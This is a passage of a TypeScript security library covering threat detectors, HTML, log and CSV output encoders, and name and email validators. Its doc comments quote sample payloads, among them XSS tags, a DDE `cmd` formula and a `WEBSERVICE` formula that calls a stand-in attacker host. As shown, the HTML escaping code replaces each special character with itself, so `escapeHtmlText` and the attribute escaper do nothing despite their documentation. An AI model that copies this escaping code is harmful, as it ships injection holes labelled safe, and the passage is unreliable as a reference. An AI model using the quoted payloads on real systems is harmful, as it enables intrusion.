→ `sql`, `checkNoSQLInjection` → `nosql`,\n * `checkCommandInjection` → `shell`, `checkPathTraversal` → `filesystem`;\n * `checkHomoglyphs` runs UTS #39 identifier analysis.\n */\nexport interface ThreatDetectionConfig {\n\t/** Default `true`. Maps to the `html` context. */\n\tcheckXSS?: boolean;\n\t/** Default `true`. Maps to the `sql` context. */\n\tcheckSQLInjection?: boolean;\n\t/** Default `true`. Maps to the `nosql` context. */\n\tcheckNoSQLInjection?: boolean;\n\t/** Default `false` — opt in only when input reaches a shell. Maps to `shell`. */\n\tcheckCommandInjection?: boolean;\n\t/** Default `true`. Maps to the `filesystem` context. */\n\tcheckPathTraversal?: boolean;\n\t/** Default `true`. Runs UTS #39 identifier analysis rather than a pattern list. */\n\tcheckHomoglyphs?: boolean;\n}\n\n/** Translate the legacy toggles into engine contexts. */\nfunction contextsFor(config: ThreatDetectionConfig): ThreatContext[] {\n\tconst contexts: ThreatContext[] = [\"general_text\"];\n\tif (config.checkXSS !== false) contexts.push(\"html\");\n\tif (config.checkSQLInjection !== false) contexts.push(\"sql\");\n\tif (config.checkNoSQLInjection !== false) contexts.push(\"nosql\");\n\tif (config.checkCommandInjection === true) contexts.push(\"shell\");\n\tif (config.checkPathTraversal !== false) contexts.push(\"filesystem\");\n\treturn contexts;\n}\n\n/**\n * Run one context's rules and keep at most one finding, preserving the\n * one-finding-per-detector contract the `contains*` helpers have always had.\n */\nfunction firstFindingOfType(\n\tinput: string,\n\tcontexts: readonly ThreatContext[],\n\ttype: ThreatType,\n): ThreatFinding[] {\n\tconst result = scanForThreats(input, { contexts });\n\tconst finding = result.findings.find((candidate) => candidate.type === type);\n\treturn finding ? [finding] : [];\n}\n\n//#endregion\n\n//#region Category detectors\n\n/**\n * Detect XSS payloads — script tags, inline event handlers, dangerous URI schemes,\n * markup sinks — in a value bound for an HTML context.\n *\n * @param input - String to scan. Truncated at 100 000 characters.\n * @returns Empty array, or a single finding of type `\"xss\"`.\n *\n * @remarks\n * Prototype-pollution patterns (`__proto__`, `constructor[`) no longer surface here.\n * They are a distinct weakness class with distinct controls and now report as\n * `prototype_pollution` — see {@link containsPrototypePollution}.\n *\n * @example\n * ```ts\n * containsXSSPatterns(`<img src=x onerror=\"alert(1)\">`);\n * // → [{ ruleId: \"XSS-EVENT-HANDLER-001\", type: \"xss\", severity: \"high\", … }]\n * ```\n */\nexport function containsXSSPatterns(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"html\"], \"xss\");\n}\n\n/**\n * Detect prototype-pollution payloads — `__proto__`, `constructor.prototype`, and the\n * nested-object forms that arrive through a JSON body or query-string expansion.\n *\n * **Not the control.** Reject unknown keys with schema validation, build lookup\n * objects with `Object.create(null)`, and use a merge that skips `__proto__`,\n * `constructor`, and `prototype`.\n *\n * @param input - String to scan.\n * @returns Empty array, or a single finding of type `\"prototype_pollution\"`.\n */\nexport function containsPrototypePollution(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"object_merge\"], \"prototype_pollution\");\n}\n\n/**\n * Detect SQL-injection patterns in a value bound for a query.\n *\n * **Not a replacement for parameterized queries.** A bound parameter is safe whatever\n * keywords it contains; an interpolated one is unsafe however many signatures it\n * dodges. Use this for telemetry alongside binding, never instead of it.\n *\n * @param input - String to scan. Truncated at 100 000 characters.\n * @returns Empty array, or one finding of type `\"sql_injection\"`.\n */\nexport function containsSQLInjection(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"sql\"], \"sql_injection\");\n}\n\n/**\n * Detect NoSQL operator injection — `$where`, `$ne`, `$regex`, and the object and\n * array forms that bypass authentication filters in document stores.\n *\n * @param input - String to scan.\n * @returns Empty array, or one finding of type `\"nosql_injection\"`.\n */\nexport function containsNoSQLInjection(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"nosql\"], \"nosql_injection\");\n}\n\n/**\n * Detect shell command-injection patterns — command substitution, chained commands,\n * pipes into an interpreter.\n *\n * **Off by default in {@link detectThreatPatterns}**, because these patterns fire on\n * ordinary prose. Enable only when the value reaches a child process, and prefer\n * spawning with an argv array and `shell: false`, which makes the category moot.\n *\n * @param input - String to scan. Truncated at 100 000 characters.\n * @returns Empty array, or one finding of type `\"command_injection\"`.\n */\nexport function containsCommandInjection(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"shell\"], \"command_injection\");\n}\n\n/**\n * Detect path-traversal payloads — `../`, its percent-encoded and double-encoded\n * forms, NUL truncation, and references to sensitive system paths.\n *\n * **Not the control.** Use `resolveContainedPath` from\n * `@resq-systems/security/paths`, which resolves the candidate against a base\n * directory and verifies containment — a check that also catches absolute paths and\n * separator tricks no signature enumerates.\n *\n * @param input - String to scan.\n * @returns Empty array, or one finding of type `\"path_traversal\"`.\n */\nexport function containsPathTraversal(input: string): ThreatFinding[] {\n\treturn firstFindingOfType(input, [\"filesystem\"], \"path_traversal\");\n}\n\n/**\n * Base metadata for the synthetic finding {@link containsHomoglyphs} produces, shaped\n * like a catalog entry so downstream consumers see one consistent record.\n */\nconst MIXED_SCRIPT_FINDING = {\n\truleId: \"UNICODE-MIXED-SCRIPT-001\",\n\ttype: \"homoglyph\",\n\tseverity: \"high\",\n\tconfidence: \"medium\",\n\tdescription: \"Identifier mixes scripts in a combination used for visual spoofing\",\n\tcwe: 1007,\n\tprimaryControl:\n\t\t\"Compare UTS #39 skeletons at registration time and enforce an identifier restriction level\",\n\tvariant: \"nfc\",\n} as const satisfies Omit<ThreatFinding, \"matchedPattern\">;\n\n/** Overrides applied when the identifier carries a bidirectional control. */\nconst BIDI_FINDING_OVERRIDE = {\n\truleId: \"UNICODE-BIDI-OVERRIDE-001\",\n\tseverity: \"critical\",\n\tconfidence: \"high\",\n\tdescription: \"Bidirectional override character in an identifier\",\n\tcwe: 451,\n} as const;\n\n/**\n * Detect visually confusable characters in a **protected identifier**.\n *\n * Backed by UTS #39 script analysis rather than a hand-written lookalike table, so it\n * reports the actual signal — a Latin/Cyrillic mix in `pаypal` — instead of flagging\n * every non-ASCII character. Single-script values are not confusable with anything, so\n * `Ольга Иванова` and `東京タワー` pass where the previous implementation rejected both.\n *\n * Scope this to usernames, domains, org names, and package names. Do **not** run it on\n * prose or on people's names — see {@link validatePersonName}.\n *\n * @param input - Identifier to scan.\n * @returns Empty array, or a single finding of type `\"homoglyph\"`.\n */\nexport function containsHomoglyphs(input: string): ThreatFinding[] {\n\tif (!input || typeof input !== \"string\") return [];\n\n\t// Bounded for the same reason the engine bounds itself, and to the same length.\n\t// `detectThreatPatterns` truncates before the 132-rule scan but used to hand the\n\t// full string to this sibling path, so the cap protected the expensive half and\n\t// left this one open — and this path is O(n) per character with no early exit.\n\t// Mixed-script evidence in the first 100k characters is exactly as conclusive as\n\t// evidence in the first 10MB, so the bound costs no detection. Applied here\n\t// rather than at the call site because this is a public export.\n\tconst bounded = input.length > MAX_SCAN_LENGTH ? input.slice(0, MAX_SCAN_LENGTH) : input;\n\n\tconst analysis = analyzeIdentifier(bounded);\n\tif (!analysis.isMixedScript && !analysis.hasBidiControls) return [];\n\n\treturn [\n\t\t{\n\t\t\t...MIXED_SCRIPT_FINDING,\n\t\t\t...(analysis.hasBidiControls ? BIDI_FINDING_OVERRIDE : {}),\n\t\t\tmatchedPattern: analysis.scripts.join(\"+\").slice(0, 50),\n\t\t},\n\t];\n}\n\n//#endregion\n\n//#region Aggregate detection\n\n/**\n * Run the enabled detectors against `input` and aggregate findings.\n *\n * @deprecated Prefer {@link scanForThreats}, which takes explicit contexts and returns\n * a score and verdict rather than one boolean. This wrapper maps the legacy toggles\n * onto contexts and keeps the one-finding-per-category shape.\n *\n * Non-string input (`null`, `undefined`, a number) is reported safe — wrap your own\n * type validation around this if you need to reject those.\n *\n * @param input - The candidate string.\n * @param config - Detector toggles. Everything except command injection defaults on.\n * @returns `{ isSafe, threats }`.\n */\nexport function detectThreatPatterns(\n\tinput: string,\n\tconfig: ThreatDetectionConfig = {},\n): ThreatDetectionResult {\n\tif (!input || typeof input !== \"string\") {\n\t\treturn { isSafe: true, threats: [] };\n\t}\n\n\tconst result = scanForThreats(input, { contexts: contextsFor(config) });\n\n\t// Collapse to at most one finding per category, matching the historical contract.\n\tconst threats: ThreatFinding[] = [];\n\tconst seen = new Set<ThreatType>();\n\tfor (const finding of result.findings) {\n\t\tif (seen.has(finding.type)) continue;\n\t\tseen.add(finding.type);\n\t\tthreats.push(finding);\n\t}\n\n\tif (config.checkHomoglyphs !== false) {\n\t\tthreats.push(...containsHomoglyphs(input));\n\t}\n\n\treturn { isSafe: threats.length === 0, threats };\n}\n\n/**\n * Boolean shortcut over {@link detectThreatPatterns}.\n *\n * @param input - String to test.\n * @param config - Optional detector toggles.\n * @returns `true` when no detector fires.\n */\nexport function isSafeInput(input: string, config?: ThreatDetectionConfig): boolean {\n\treturn detectThreatPatterns(input, config).isSafe;\n}\n\n//#endregion\n\n//#region Output encoding\n\n/**\n * HTML-entity-escape a value being inserted as **element text**.\n *\n * Escapes `&`, `<`, `>`, `\"`, `'`, and `/`, which covers text nodes and fully quoted\n * attribute values.\n *\n * **Output encoding is context-dependent.** HTML text, quoted attributes, unquoted\n * attributes, URLs, JavaScript string literals, and CSS each have different rules, and\n * no single function is correct for all of them. This one is correct for text; use\n * {@link escapeHtmlAttribute} for attribute values, `sanitizeUrl` for URLs, and\n * `sanitizeHtml` (DOMPurify) when the value is meant to *be* markup.\n *\n * There is deliberately no CSS-context escaper here, and no general JavaScript-string\n * escaper — hand-rolled versions of those are reliably wrong, and the fix is to stop\n * interpolating untrusted values into style and script *source*. Embedding untrusted\n * *data* in a script element is the one tractable case, because `JSON.stringify` fixes\n * the string boundaries first; {@link encodeJsonForScript} covers that and nothing else.\n *\n * @param input - Untrusted string. Non-string or empty input yields `\"\"`.\n * @returns Entity-escaped output safe to interpolate into HTML text.\n *\n * @example\n * ```ts\n * escapeHtmlText('<script>alert(\"xss\")</script>');\n * // \"<script>alert("xss")</script>\"\n * ```\n */\nexport function escapeHtmlText(input: string): string {\n\tif (!input || typeof input !== \"string\") return \"\";\n\n\treturn input\n\t\t.replace(/&/g, \"&\")\n\t\t.replace(/</g, \"<\")\n\t\t.replace(/>/g, \">\")\n\t\t.replace(/\"/g, \""\")\n\t\t.replace(/'/g, \"'\")\n\t\t.replace(/\\//g, \"/\");\n}\n\n/**\n * Control characters escaped in attribute position.\n *\n * The C0 and C1 ranges plus the two Unicode line terminators. The set is the point:\n * HTML's unquoted-attribute state ends at space, tab, LF, FF or CR, and this used to\n * escape tab, LF and CR but not **form feed**. It also escaped CR, which the input\n * stream preprocessor normalises to LF before the tokenizer runs — so three of the four\n * real terminators were covered, plus the one that cannot matter.\n *\n * @see https://html.spec.whatwg.org/multipage/parsing.html\n */\n// biome-ignore lint/suspicious/noControlCharactersInRegex: escaping control characters is the purpose\nconst ATTRIBUTE_CONTROL_CHARS = /[\\u0000-\\u001f\\u007f-\\u009f\\u2028\\u2029]/g;\n\n/**\n * HTML-entity-escape a value being inserted as an **attribute value**.\n *\n * Everything {@link escapeHtmlText} escapes, plus backtick, equals, and whitespace —\n * the characters that let a payload break out of an *unquoted* attribute. That case is\n * precisely what generic \"escape for display\" helpers get wrong.\n *\n * The ceiling on the unquoted case is injection of a valueless boolean attribute —\n * `autofocus`, `disabled`, `formnovalidate` — not script execution: an injected\n * `onmouseover=…` arrives with its `=` already escaped, so it lands as an attribute\n * whose *name* is the escaped text, with no handler bound.\n *\n * Quote your attributes anyway. This makes an unquoted attribute survivable; it does\n * not make it correct.\n *\n * @param input - Untrusted string. Non-string or empty input yields `\"\"`.\n * @returns Output safe to interpolate into a quoted or unquoted attribute value.\n */\nexport function escapeHtmlAttribute(input: string): string {\n\tif (!input || typeof input !== \"string\") return \"\";\n\n\treturn escapeHtmlText(input)\n\t\t.replace(/`/g, \"`\")\n\t\t.replace(/=/g, \"=\")\n\t\t.replace(/ /g, \" \")\n\t\t.replace(ATTRIBUTE_CONTROL_CHARS, (character) => {\n\t\t\tconst hex = (character.codePointAt(0) ?? 0).toString(16).toUpperCase();\n\t\t\treturn `&#x${hex.padStart(2, \"0\")};`;\n\t\t});\n}\n\n/**\n * HTML-entity-escape a value for display.\n *\n * @deprecated Renamed to {@link escapeHtmlText}, which says what it actually does. The\n * old name suggested a general-purpose \"make this safe to display\" operation, and\n * callers reasonably read it as attribute-safe — which entity escaping alone is not,\n * for *unquoted* attributes. Behaviour is unchanged; only the name is.\n *\n * @param input - Untrusted string.\n * @returns Entity-escaped output.\n */\nexport function sanitizeForDisplay(input: string): string {\n\treturn escapeHtmlText(input);\n}\n\n//#endregion\n\n/** Cap on the input a log value is read from, before escaping expands it. */\nconst DEFAULT_LOG_VALUE_LENGTH = 2048;\n\n/**\n * Characters that must not reach a log sink as themselves.\n *\n * C0 and C1, the zero-width and bidirectional formatting ranges, and the byte-order\n * mark. ESC lives inside C0, which is why no separate ANSI sequence matching is needed:\n * escaping the introducer alone neutralises every terminal sequence *losslessly*,\n * whereas deleting whole sequences would discard the payload a reader is investigating.\n * The bidi range matters for the same reason `UNICODE-BIDI-OVERRIDE-001` exists — a\n * right-to-left override reorders how a log line renders without changing its bytes.\n */\nconst LOG_UNSAFE_CHARS =\n\t// biome-ignore lint/suspicious/noControlCharactersInRegex: escaping control characters is the purpose\n\t/[\\u0000-\\u001f\\u007f-\\u009f\\u200b-\\u200f\\u2028-\\u202e\\u2060-\\u2064\\u2066-\\u2069\\ufeff]/g;\n\n/** Readable forms for the three characters a reader expects to recognise. */\nconst LOG_SHORTHAND: Readonly<Record<string, string>> = {\n\t\"\\t\": \"\\\\t\",\n\t\"\\n\": \"\\\\n\",\n\t\"\\r\": \"\\\\r\",\n};\n\n/**\n * Escape a value for inclusion in a log record.\n *\n * This is the control named by the log-injection rules. A log line is a *sink*: a value\n * carrying a newline forges an entry (CWE-117), one carrying a terminal escape rewrites\n * what an operator sees, and one carrying a bidirectional override reorders the line\n * without altering a byte of it.\n *\n * Escaping rather than stripping is deliberate. The record is evidence, so the encoded\n * form is reversible and nothing is silently discarded — contrast `stripAnsi`, which\n * deletes. Structured logging is still the better answer, because it removes the\n * ambiguity this function can only make visible; use both.\n *\n * @param value - Untrusted field value. Non-string or empty input yields `\"\"`.\n * @param options - Optional bounds.\n * @param options.maxLength - Characters read from `value`. Defaults to 2048. Truncation\n * is announced in the output rather than applied silently, and the returned string may\n * exceed this length, because escaping expands.\n * @returns A single-line, control-free rendering of `value`.\n *\n * @example\n * ```ts\n * encodeLogValue(\"alice\\nINFO user promoted to admin\");\n * // \"alice\\\\nINFO user promoted to admin\" — one line, no forged entry\n * ```\n */\nexport function encodeLogValue(\n\tvalue: string,\n\toptions: { readonly maxLength?: number } = {},\n): string {\n\tif (!value || typeof value !== \"string\") return \"\";\n\n\tconst { maxLength = DEFAULT_LOG_VALUE_LENGTH } = options;\n\tconst limit = Number.isInteger(maxLength) && maxLength > 0 ? maxLength : DEFAULT_LOG_VALUE_LENGTH;\n\n\tconst dropped = value.length - limit;\n\tconst bounded = dropped > 0 ? value.slice(0, limit) : value;\n\n\tconst encoded = bounded.replace(LOG_UNSAFE_CHARS, (character) => {\n\t\tconst shorthand = LOG_SHORTHAND[character];\n\t\tif (shorthand !== undefined) return shorthand;\n\t\tconst hex = (character.codePointAt(0) ?? 0).toString(16).padStart(4, \"0\");\n\t\treturn `\\\\u${hex}`;\n\t});\n\n\treturn dropped > 0 ? `${encoded}[truncated ${dropped} chars]` : encoded;\n}\n\n/**\n * A leading formula trigger, tolerating the whitespace and quotes a reader strips first.\n *\n * Mirrors `CSV-FORMULA-LEAD-001`, deliberately: the rule sees through leading quotes and\n * spaces because spreadsheet importers do, so an encoder that only looked at index 0\n * would leave ` =cmd|'/c calc'!A1` live.\n */\nconst CSV_FORMULA_LEAD = /^[\\s'\"]{0,8}[=+\\-@\\t\\r]/;\n\n/** Fields containing any of these must be quoted per RFC 4180 sections 2.6 and 2.7. */\nconst CSV_QUOTE_REQUIRED = /[\"\\r\\n]/;\n\n/**\n * Escape one cell for CSV export.\n *\n * This is the control named by the formula-injection rules. A CSV file is not inert: a\n * cell beginning `=`, `+`, `-`, `@`, tab or CR is evaluated as a formula by Excel,\n * Sheets and LibreOffice when the recipient opens it, so the payload executes on *their*\n * machine, outside the exporting application entirely (CWE-1236).\n *\n * Two separate jobs, in order: neutralise the formula trigger with a leading apostrophe,\n * then apply RFC 4180 quoting so the field cannot break the row.\n *\n * **Only strings are prefixed.** A `number` or `boolean` came from the application's own\n * types and cannot carry a formula, so `-1234` exports as a negative number while\n * `\"-1234\"` exports as text. Pass numeric columns as numbers, or every negative value in\n * the sheet becomes a string.\n *\n * Three things worth knowing before relying on it:\n * - The leading apostrophe is an Excel convention, **not** an RFC 4180 construct. Readers\n * that do not implement it surface it as a literal character in the data.\n * - NUL is removed rather than escaped, so it does not round-trip.\n * - Scanning the output with `scanForThreats` still reports a finding, by design:\n * `CSV-FORMULA-LEAD-001` sees through the apostrophe and `CSV-DDE-001` is\n * position-independent. The rules describe the *value*; this function protects the\n * *file*. A clean scan is the wrong acceptance test.\n *\n * @param value - Cell value. `null` and `undefined` become `\"\"`.\n * @param options - Optional dialect settings.\n * @param options.delimiter - Field separator the row will be joined with. Defaults to `\",\"`.\n * @returns The escaped field, ready to join into a row.\n *\n * @example\n * ```ts\n * escapeCsvField(\"=WEBSERVICE(\\\"https://evil.example\\\")\");\n * // quoted, and inert on open\n * escapeCsvField(-1234); // \"-1234\" — a number, not a formula\n * ```\n */\nexport function escapeCsvField(\n\tvalue: unknown,\n\toptions: { readonly delimiter?: string } = {},\n): string {\n\tif (value === null || value === undefined) return \"\";\n\n\tconst delimiter = options.delimiter ?? \",\";\n\tconst isUntrustedText = typeof value === \"string\";\n\tconst text = isUntrustedText ? value : String(value);\n\n\t// NUL cannot be represented in a CSV field and breaks several readers outright.\n\t// biome-ignore lint/suspicious/noControlCharactersInRegex: NUL is a control character by definition\n\tconst cleaned = text.replace(/\\u0000/g, \"\");\n\n\tconst neutralised = isUntrustedText && CSV_FORMULA_LEAD.test(cleaned) ? `'${cleaned}` : cleaned;\n\n\tconst mustQuote = CSV_QUOTE_REQUIRED.test(neutralised) || neutralised.includes(delimiter);\n\treturn mustQuote ? `\"${neutralised.replaceAll('\"', '\"\"')}\"` : neutralised;\n}\n\n/**\n * Escape and join one row for CSV export.\n *\n * @param values - Cell values, in column order.\n * @param options - Optional dialect settings.\n * @param options.delimiter - Field separator. Defaults to `\",\"`.\n * @returns The joined row, without a line terminator.\n *\n * @example\n * ```ts\n * toCsvRow([\"Ada Lovelace\", \"=1+1\", 42]);\n * ```\n */\nexport function toCsvRow(\n\tvalues: readonly unknown[],\n\toptions: { readonly delimiter?: string } = {},\n): string {\n\tif (!Array.isArray(values)) return \"\";\n\tconst delimiter = options.delimiter ?? \",\";\n\treturn values.map((value) => escapeCsvField(value, { delimiter })).join(delimiter);\n}\n\n/**\n * The five characters that must not survive into a script element verbatim.\n *\n * None is a JSON structural character, so each can only ever occur inside a string\n * literal, where a unicode escape is legal and semantically identical. That is what makes\n * this transformation safe to apply to `JSON.stringify` output without reparsing it.\n *\n * `<` and `>` close the element; `&` matters when a caller relocates the payload into a\n * context that *is* entity-decoded; U+2028 and U+2029 terminate a line in JavaScript\n * source, which JSON permits raw inside strings.\n */\nconst SCRIPT_UNSAFE_JSON = /[<>&\\u2028\\u2029]/g;\n\n/** Escapes for {@link SCRIPT_UNSAFE_JSON}, all valid inside a JSON string literal. */\nconst SCRIPT_JSON_ESCAPES: Readonly<Record<string, string>> = {\n\t\"<\": \"\\\\u003c\",\n\t\">\": \"\\\\u003e\",\n\t\"&\": \"\\\\u0026\",\n\t\"\\u2028\": \"\\\\u2028\",\n\t\"\\u2029\": \"\\\\u2029\",\n};\n\n/**\n * Serialise a value for embedding inside a `<script>` element.\n *\n * `JSON.stringify` alone is not safe here. Its output may contain `</script>`, which\n * closes the element from *inside a string literal* — the HTML tokenizer never looks at\n * JavaScript syntax — so the remainder of the payload becomes markup.\n *\n * **Script element content only.** The output contains unescaped `\"`, so it must never be\n * placed in an attribute; use {@link escapeHtmlAttribute} there. It is also not a general\n * JavaScript-string escaper — it is safe precisely because `JSON.stringify` has already\n * decided where the string boundaries are.\n *\n * Using `<script type=\"application/json\">` with `JSON.parse(el.textContent)` does **not**\n * remove the need for this: a raw `</script>` in the data closes that element too.\n *\n * @param value - Any JSON-serialisable value.\n * @returns JSON text safe to place between `<script>` tags.\n * @throws {TypeError} If `value` cannot be represented as JSON — `undefined`, a function\n * or a symbol at the top level (for which `JSON.stringify` returns `undefined` rather\n * than a string), a circular structure, or a `BigInt`. Failing loudly is deliberate: a\n * sentinel string would emit a syntax error into the page instead.\n *\n * @example\n * ```ts\n * const json = encodeJsonForScript({ name: userName });\n * const html = \"<script>window.__DATA__ = \" + json + \";</script>\";\n * ```\n */\nexport function encodeJsonForScript(value: unknown): string {\n\tlet serialised: string | undefined;\n\ttry {\n\t\tserialised = JSON.stringify(value);\n\t} catch (cause) {\n\t\tthrow new TypeError(\"encodeJsonForScript: value is not JSON-serialisable\", { cause });\n\t}\n\n\t// `JSON.stringify` returns undefined — not a string — for undefined, functions and\n\t// symbols at the top level, so the escape pass below would throw on a non-string.\n\tif (typeof serialised !== \"string\") {\n\t\tthrow new TypeError(\n\t\t\t`encodeJsonForScript: ${typeof value} has no JSON representation at the top level`,\n\t\t);\n\t}\n\n\treturn serialised.replace(\n\t\tSCRIPT_UNSAFE_JSON,\n\t\t(character) => SCRIPT_JSON_ESCAPES[character] ?? character,\n\t);\n}\n\n//#region Unicode helpers\n\n/**\n * Fold non-ASCII lookalike characters onto ASCII and compose to NFC.\n *\n * @deprecated Prefer `getSkeleton` and `analyzeIdentifier` from\n * `@resq-systems/security/unicode`. Rewriting a user's identifier into a different\n * string loses information and only *looks* safe — the durable pattern is to store\n * what they typed, index its skeleton, and compare skeletons for collisions.\n *\n * Now backed by the UTS #39 confusable tables rather than the previous 14-entry map,\n * so coverage is far wider. Combining marks are preserved (`e` + U+0301 still composes\n * to `é`) and ASCII characters are never rewritten.\n *\n * @param input - Raw string from an untrusted source. Non-string input yields `\"\"`.\n * @returns NFC-composed string with non-ASCII confusables folded to ASCII.\n */\nexport function normalizeUnicode(input: string): string {\n\treturn foldConfusables(input);\n}\n\n//#endregion\n\n//#region Field validators\n\n/**\n * Generic user-facing fallback message. Render verbatim when a detector fires and you\n * do not want to reveal which one.\n */\nexport const THREAT_DETECTED_MESSAGE = \"Input contains potentially unsafe content\";\n\n/**\n * Refinement helper for `zod.string().refine(...)`, `effect/Schema.filter(...)`, or\n * any predicate-based validator. Equivalent to {@link isSafeInput} with defaults.\n *\n * @param input - String to test.\n * @returns `true` when no detector fires.\n */\nexport function validateSafeText(input: string): boolean {\n\treturn isSafeInput(input);\n}\n\n/**\n * Letters, marks, apostrophes, hyphens, periods, spaces, and the two joiners — nothing\n * else.\n *\n * U+200C (ZWNJ) and U+200D (ZWJ) are part of the spelling, not decoration. Persian and\n * Hindi names need them to be written correctly — a ZWNJ is what keeps the two halves\n * of `میروم` from joining — so a pattern without them rejects the name its owner\n * actually has. They carry no injection risk here: everything a payload needs (`<`,\n * `(`, `;`, `$`, `=`, digits) stays excluded. Written as escapes, not literals — an\n * invisible character pasted into a character class is unreviewable in a diff.\n */\nconst PERSON_NAME_PATTERN = /^[\\p{L}\\p{M}'’.\\-\\s\\u{200C}\\u{200D}]+$/u;\n\n/** Shortest accepted name. Mononyms and single-letter names exist. */\nconst MIN_NAME_LENGTH = 1;\n\n/** Longest accepted name. */\nconst MAX_NAME_LENGTH = 200;\n\n/**\n * Validate a human name field.\n *\n * The policy is an allowlist of what a name is made of — letters in any script,\n * combining marks, apostrophes, hyphens, periods, spaces — plus a length bound and a\n * bidirectional-control check. Nothing that passes it can carry an injection payload,\n * because `<`, `(`, `;`, `$`, `=`, and every digit are already excluded.\n *\n * It deliberately does **not** run SQL, path-traversal, or confusable detectors. A\n * name is not a query, a path, or a protected identifier, and subjecting one to those\n * checks rejects real people: the previous implementation ran the homoglyph detector\n * here, which failed any name containing а, е, о, р, с, or х — that is, most Russian,\n * Ukrainian, Bulgarian, Serbian, and Greek names.\n *\n * Encode the value at whatever sink it eventually reaches. That is what makes it safe;\n * this function only establishes that it is a name.\n *\n * @param input - Candidate name.\n * @returns `true` when the value is a plausible name.\n *\n * @example\n * ```ts\n * validatePersonName(\"O'Brien\"); // true\n * validatePersonName(\"José García\"); // true\n * validatePersonName(\"Ольга Иванова\"); // true\n * validatePersonName(\"John123\"); // false\n * validatePersonName(\"<script>x</script>\"); // false\n * ```\n */\nexport function validatePersonName(input: string): boolean {\n\tif (typeof input !== \"string\") return false;\n\n\tconst normalized = input.normalize(\"NFC\");\n\tif (normalized.length < MIN_NAME_LENGTH || normalized.length > MAX_NAME_LENGTH) {\n\t\treturn false;\n\t}\n\n\t// Hostile in any field: reorders rendered text away from its logical order.\n\tif (containsBidiControls(normalized)) return false;\n\n\treturn PERSON_NAME_PATTERN.test(normalized);\n}\n\n/**\n * Validate a human name field.\n *\n * @deprecated Renamed to {@link validatePersonName}. The old name implied a general\n * \"safe name\" check and was implemented as one, running injection and homoglyph\n * detectors against people's names. Behaviour now matches\n * {@link validatePersonName}.\n *\n * @param input - Candidate name.\n * @returns `true` when the value is a plausible name.\n */\nexport function validateSafeName(input: string): boolean {\n\treturn validatePersonName(input);\n}\n\n/** Longest address accepted, per RFC 5321 §4.5.3.1.3. Also bounds regex cost. */\nconst MAX_EMAIL_LENGTH = 254;\n\n/** RFC-shaped address check. Length is bounded before this runs. */\nconst EMAIL_PATTERN =\n\t/^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;\n\n/**\n * Validate an email address.\n *\n * Two checks: an RFC-shaped format match (length-bounded first, so the pattern never\n * sees an unbounded string), and UTS #39 identifier analysis of the **domain**, where\n * a mixed-script host is the IDN homograph attack — `аpple.com` with a Cyrillic `а`\n * resolves somewhere else entirely.\n *\n * The local part is not confusable-checked: it is not a routable identifier, and\n * flagging it would reject legitimate internationalized mailboxes.\n *\n * @param input - Candidate address.\n * @returns `true` when the format is valid and the domain is not a script mix.\n */\nexport function validateSafeEmail(input: string): boolean {\n\tif (typeof input !== \"string\") return false;\n\tif (input.length > MAX_EMAIL_LENGTH) return false;\n\tif (!EMAIL_PATTERN.test(input)) return false;\n\n\tconst domain = input.slice(input.lastIndexOf(\"@\") + 1);\n\tconst analysis = analyzeIdentifier(domain);\n\n\treturn !analysis.isMixedScript && !analysis.hasBidiControls;\n}\n\n//#endregion\n\n//#region Error messages\n\n/**\n * Render a user-facing error message for a detection result.\n *\n * Uses only the **first** finding: enumerating every category that fired leaks the\n * shape of the rule set to whoever is probing it. Log `result.threats` server-side for\n * diagnostics and return this to the client.\n *\n * @param result - A {@link ThreatDetectionResult}, a `ThreatScanResult`-shaped object,\n * or any `{ isSafe, threats }` pair.\n * @returns A message, or `\"\"` when the result is safe — so `message || undefined`\n * works at a call site.\n */\nexport function getThreatErrorMessage(result: {\n\treadonly isSafe: boolean;\n\treadonly threats: readonly ThreatSummary[];\n}): string {\n\tif (result.isSafe) return \"\";\n\n\tconst threat = result.threats[0];\n\tif (!threat) return THREAT_DETECTED_MESSAGE;\n\n\tswitch (threat.type) {\n\t\tcase \"xss\":\n\t\t\treturn \"Input contains potentially malicious script content\";\n\t\tcase \"sql_injection\":\n\t\t\treturn \"Input contains potentially malicious database commands\";\n\t\tcase \"nosql_injection\":\n\t\t\treturn \"Input contains potentially malicious query operators\";\n\t\tcase \"command_injection\":\n\t\t\treturn \"Input contains potentially malicious system commands\";\n\t\tcase \"path_traversal\":\n\t\t\treturn \"Input contains potentially malicious file path characters\";\n\t\tcase \"prototype_pollution\":\n\t\t\treturn \"Input contains potentially malicious object property names\";\n\t\tcase \"homoglyph\":\n\t\t\treturn \"Input contains suspicious lookalike characters\";\n\t\tcase \"header_injection\":\n\t\t\treturn \"Input contains line breaks that are not allowed in this field\";\n\t\tcase \"ldap_injection\":\n\t\t\treturn \"Input contains potentially malicious directory query characters\";\n\t\tcase \"xpath_injection\":\n\t\t\treturn \"Input contains potentially malicious query expressions\";\n\t\tcase \"xml_injection\":\n\t\t\treturn \"Input contains potentially malicious document declarations\";\n\t\tcase \"template_injection\":\n\t\t\treturn \"Input contains potentially malicious template expressions\";\n\t\tcase \"file_inclusion\":\n\t\t\treturn \"Input contains potentially malicious resource references\";\n\t\tcase \"ssrf\":\n\t\t\treturn \"Input contains a network address that is not allowed\";\n\t\tcase \"formula_injection\":\n\t\t\treturn \"Input contains spreadsheet formula characters\";\n\t\tcase \"log_injection\":\n\t\t\treturn \"Input contains characters that are not allowed in this field\";\n\t\tcase \"prompt_injection\":\n\t\t\treturn \"Input contains instructions that are not allowed in this field\";\n\t\tcase \"parameter_pollution\":\n\t\t\treturn \"Input contains additional query parameters that are not allowed\";\n\t\tcase \"credential_exposure\":\n\t\t\t// Deliberately not phrased as an accusation. This category detects the\n\t\t\t// application's own secret on its way *out* — into a URL it is about to\n\t\t\t// fetch, or a line it is about to log — so the submitter is usually not at\n\t\t\t// fault and a \"your input is malicious\" message would be wrong.\n\t\t\treturn \"Request contains credential material that must not be sent or stored here\";\n\t\tcase \"jwt_tampering\":\n\t\t\treturn \"Token is not signed with an accepted algorithm\";\n\t\tcase \"double_encoding\":\n\t\t\treturn \"Input contains characters that are encoded more than once\";\n\t\tcase 